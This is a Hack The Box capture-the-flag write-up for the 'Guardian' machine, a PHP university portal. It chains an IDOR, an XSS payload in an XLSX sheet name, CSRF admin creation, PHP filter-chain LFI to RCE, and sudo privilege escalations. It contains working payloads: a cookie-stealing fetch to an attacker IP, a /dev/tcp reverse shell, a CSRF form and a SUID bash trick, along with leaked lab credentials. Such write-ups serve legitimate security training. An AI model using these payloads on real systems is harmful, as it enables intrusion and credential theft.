Back to writeups

Guardian - Writeup

Guardian
Hard
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 22/tcp - SSH
  • 80/tcp - HTTP (Apache 2.4.52)

Service Identification

Port 80 hosts Guardian University Portal - a PHP university management platform with role-based access (student, lecturer, admin). Features include assignment submissions, grading, a notice board, chat, and report generation.

The main landing page lists 3 Student IDs:

  • GU0142023@guardian.htb
  • GU6262023@guardian.htb
  • GU0702025@guardian.htb

The login page includes a Portal Guide which mentions the default password GU1234. Testing this against the listed student IDs:

# Valid login
GU0142023:GU1234

IDOR in Chat → Gitea Credentials

After logging in as a student, the Chats section reveals an IDOR vulnerability. The chat_users parameters are directly controllable via URL:

http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

By iterating through user IDs, we can read any conversation on the platform. The chat between users 1 and 2 contains Gitea credentials:

http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2

Credentials found: jamil:DHsNnk3V503

Source Code via Gitea

A Gitea instance runs on gitea.guardian.htb. Logging in with the leaked credentials reveals a repository containing the full source code of the Guardian portal:

FilePurpose
config/config.phpDB creds: root:Gu4rd14n_un1_1s_th3_b3st, salt: 8Sb)tM1vs1SS
lecturer/view-submission.phpPhpSpreadsheet/PhpWord HTML rendering (XSS)
lecturer/notices/create.phpNotice creation with reference_link (CSRF vector)
admin/reports.phpinclude() with regex filter (LFI)
config/csrf-tokens.phpGlobal token pool, never invalidated

Key libraries: PhpSpreadsheet v3.7.0 and PhpWord.

Credentials Summary

UserPasswordSourceAccess
GU0142023GU1234Portal Guide (default)Student panel
jamilDHsNnk3V503IDOR chat leakGitea (source code)

Initial Access - XSS via PhpSpreadsheet Sheet Name

Source Code Analysis

The lecturer/view-submission.php processes uploaded .xlsx files using PhpSpreadsheet's HTML writer:

$spreadsheet = IOFactory::load($filePath);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->save('php://output');

The HTML writer renders sheet names directly into the output as tab navigation elements without sanitization. By crafting an XLSX with a malicious sheet name, we achieve stored XSS when a lecturer views the submission.

Exploitation

Note: openpyxl blocks special characters (like :) in sheet names. The workaround is to create a valid XLSX first, then modify the xl/workbook.xml inside the ZIP using xml.etree - the XML naturally entity-encodes <> characters, and PhpSpreadsheet decodes them back when rendering the HTML output:

import zipfile, os
from xml.etree import ElementTree as ET

PAYLOAD = "<script>fetch('http://10.10.14.2:8000/steal?c='+document.cookie)</script>"

# 1. Create a base XLSX with two sheets
from openpyxl import Workbook
wb = Workbook()
ws1 = wb.active
ws1.title = "Sheet1"
ws1['A1'] = "Data"
ws2 = wb.create_sheet("REPLACE_ME")
ws2['A1'] = "Data"
wb.save("base.xlsx")

# 2. Patch the sheet name in workbook.xml via XML parser
# (xml.etree will entity-encode <> automatically  &lt;script&gt;)
with zipfile.ZipFile("base.xlsx", "r") as zin:
    with zipfile.ZipFile("xss_sheetname.xlsx", "w") as zout:
        for item in zin.infolist():
            data = zin.read(item.filename)
            if item.filename == "xl/workbook.xml":
                ns = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
                ET.register_namespace("", ns)
                ET.register_namespace("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships")
                root = ET.fromstring(data)
                for sheet in root.iter(f"{{{ns}}}sheet"):
                    if sheet.get("name") == "REPLACE_ME":
                        sheet.set("name", PAYLOAD)
                data = ET.tostring(root, xml_declaration=True, encoding="UTF-8")
            zout.writestr(item, data)
os.remove("base.xlsx")
print("[+] Created xss_sheetname.xlsx")

Upload this as a student submission. When the lecturer views the submission, PhpSpreadsheet's HTML writer renders the sheet name as a tab label without escaping, causing the XSS to fire and exfiltrate the session cookie:

python3 -m http.server 8000
# GET /steal?c=PHPSESSID%3Dgq1s4a2eisec4rjvllm7mrjk3m

Lecturer session obtained.


Privilege Escalation - Lecturer to Admin via CSRF

Weak CSRF Token System

The portal's CSRF implementation has a critical flaw in config/csrf-tokens.php:

  • Tokens are stored in a shared JSON file (csrf_tokens.json)
  • Tokens are never removed after use
  • A token generated by any user is valid for any form (including admin endpoints)

This means a CSRF token obtained from the lecturer's notice creation page is valid for the admin's createuser.php endpoint.

Attack Chain

With the lecturer session, we create a notice pointing the admin bot to a CSRF page hosted on our server:

# 1. Get CSRF token (valid globally)
TOKEN=$(curl -s -b 'PHPSESSID=LECTURER_SESSION' \
  'http://portal.guardian.htb/lecturer/notices/create.php' \
  | grep -oP 'csrf_token" value="\K[^"]+')

# 2. Host CSRF payload that auto-creates an admin account
cat > pwn.html << 'EOF'
<html><body>
<form id="csrf" method="POST" action="http://portal.guardian.htb/admin/createuser.php">
  <input name="username" value="hackeradmin"/>
  <input name="password" value="Hacked123!"/>
  <input name="full_name" value="System Admin"/>
  <input name="email" value="admin@guardian.htb"/>
  <input name="dob" value="1990-01-01"/>
  <input name="address" value="Campus"/>
  <input name="user_role" value="admin"/>
  <input name="csrf_token" value="TOKEN_HERE"/>
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
EOF
python3 -m http.server 8000

# 3. Create notice with reference_link pointing to our CSRF page
# (bypass HTML type="url" validation by using curl directly)
curl -X POST 'http://portal.guardian.htb/lecturer/notices/create.php' \
  -b 'PHPSESSID=LECTURER_SESSION' \
  -d "title=Updated+Guidelines&content=Review+needed" \
  -d "reference_link=http://10.10.14.2:8000/pwn.html" \
  -d "csrf_token=$TOKEN"

The admin bot visits the reference URL → the CSRF form auto-submits → new admin account hackeradmin:Hacked123! created.


RCE - LFI via PHP Filter Chain

admin/reports.php Analysis

The admin reports page uses include() with two guards:

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
    die("Malicious request blocked");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("Access denied. Invalid file");
}

include($report);

Constraints:

  1. No .. allowed in the path
  2. Must end with enrollment.php, academic.php, financial.php, or system.php

PHP Filter Chain Bypass

The php://filter wrapper with chained convert.iconv filters can generate arbitrary PHP code from scratch. The php_filter_chain_generator tool automates this:

git clone https://github.com/synacktiv/php_filter_chain_generator.git

CHAIN=$(python3 php_filter_chain_generator.py \
  --chain '<?php system($_GET["cmd"]); ?>' \
  | grep '^php' | sed 's|php://temp|reports/enrollment.php|')

The generated chain:

  • ✅ Ends with reports/enrollment.php (matches regex)
  • ✅ Contains no .. (iconv encoding names use single dots)
  • ✅ Generates arbitrary PHP code via filter transformations
# Test RCE
curl -b 'PHPSESSID=ADMIN_SESSION' \
  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Reverse shell - start listener first: nc -nlvp 4444
curl -b 'PHPSESSID=ADMIN_SESSION' \
  "http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'"

Shell as www-data.


Lateral Movement - Database Hash Cracking → SSH

Database Dump

Using the DB credentials from config.php:

mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \
  -e "SELECT username, password_hash, user_role FROM users;"

Hashes are SHA256($password.$salt) with salt 8Sb)tM1vs1SS. Cracking with John:

john hashes.txt --wordlist=rockyou.txt --format='dynamic=sha256($p.$s)'
# admin:fakebake000
# jamil.enockson:copperhouse56
ssh jamil@portal.guardian.htb  # password: copperhouse56

Privilege Escalation 1 - jamil → mark (Python Module Overwrite)

sudo Enumeration

jamil@guardian:~$ sudo -l
User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

utilities.py Analysis

The script imports from a local utils package:

from utils import db, attachments, logs, status

Checking permissions on the utils/ directory:

FilePermissionsOwner
status.py-rwxrwx---mark:admins
db.py-rw-r-----root:admins
others-rw-r-----root:admins

The status.py file is group-writable and jamil is in the admins group. The system-status action calls status.system_status() without any user check.

Exploitation

echo 'import os; os.system("bash -i")' > /opt/scripts/utilities/utils/status.py
sudo -u mark /opt/scripts/utilities/utilities.py system-status
mark@guardian:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1003(admins)

Privilege Escalation 2 - mark → root (Apache Config Case-Sensitivity Bypass)

sudo Enumeration

mark@guardian:~$ sudo -l
User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Binary Analysis

safeapache2ctl is a custom wrapper that:

  1. Requires config files to be inside /home/mark/confs/
  2. Reads the config and blocks Include, IncludeOptional, LoadModule directives
  3. Passes the validated config to /usr/sbin/apache2ctl
strings /usr/local/bin/safeapache2ctl
...
Include
IncludeOptional
LoadModule
/home/mark/confs/
Blocked: Config includes unsafe directive.

The Bypass - Case Sensitivity

The binary checks for directives using strncmp - a case-sensitive comparison. But Apache's config parser is case-insensitive. Writing loadmodule (lowercase) bypasses the filter while Apache processes it normally.

The ErrorLog directive with a pipe (|command) executes the command as root during Apache startup.

Exploitation


cat > /home/mark/confs/evil.conf << 'CONF'
ServerRoot "/etc/apache2"
loadmodule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
loadmodule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
ServerName localhost
Mutex file:/tmp default
PidFile /tmp/evil.pid
Listen 8889
ErrorLog "|/bin/chmod u+s /bin/bash"
LogFormat "%h" common
DocumentRoot /tmp
CONF

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/evil.conf

bash -p
# uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root)
cat /root/root.txt

Attack Chain Summary

Port 80 (Guardian University Portal)
  
  ├─ Source code analysis  config.php (DB creds, salt)
    └─ PhpSpreadsheet HTML writer: sheet names unsanitized
  
  ├─ XSS via XLSX sheet name  lecturer cookie stolen
    └─ CSRF tokens are global and never expire
       └─ Notice reference_link  admin bot visits CSRF page
          └─ Auto-creates admin account (hackeradmin)
  
  ├─ Admin LFI in reports.php (include with regex filter)
    └─ PHP filter chain generator  bypass regex + no ".."
       └─ RCE as www-data  reverse shell
  
  ├─ MySQL dump  SHA256($pass.$salt)  john cracking
    └─ jamil.enockson:copperhouse56  SSH as jamil
  
  ├─ sudo (mark) utilities.py  utils/status.py is group-writable
    └─ Overwrite status.py  shell as mark
  
  └─ sudo (ALL) safeapache2ctl  case-sensitive directive filter
     └─ "loadmodule" bypasses "LoadModule" check
        └─ ErrorLog pipe  chmod u+s /bin/bash  root

Key Takeaways

  1. PhpSpreadsheet HTML writer renders sheet names without sanitization - any user-controlled metadata in Office files should be treated as untrusted
  2. CSRF tokens must be scoped and expired - a global, persistent token pool means any authenticated user's token can target any endpoint
  3. PHP filter chains bypass path-based restrictions on include() - regex filters on filenames are insufficient; use allowlists of exact paths instead
  4. Python module hijacking via writable files in the import path is a common sudo privesc vector - ensure all imported modules have restrictive permissions
  5. Case-sensitive security checks on case-insensitive systems (Apache directives, Windows paths, SQL keywords) create bypass opportunities - always normalize case before validation
Hack The Box Achievement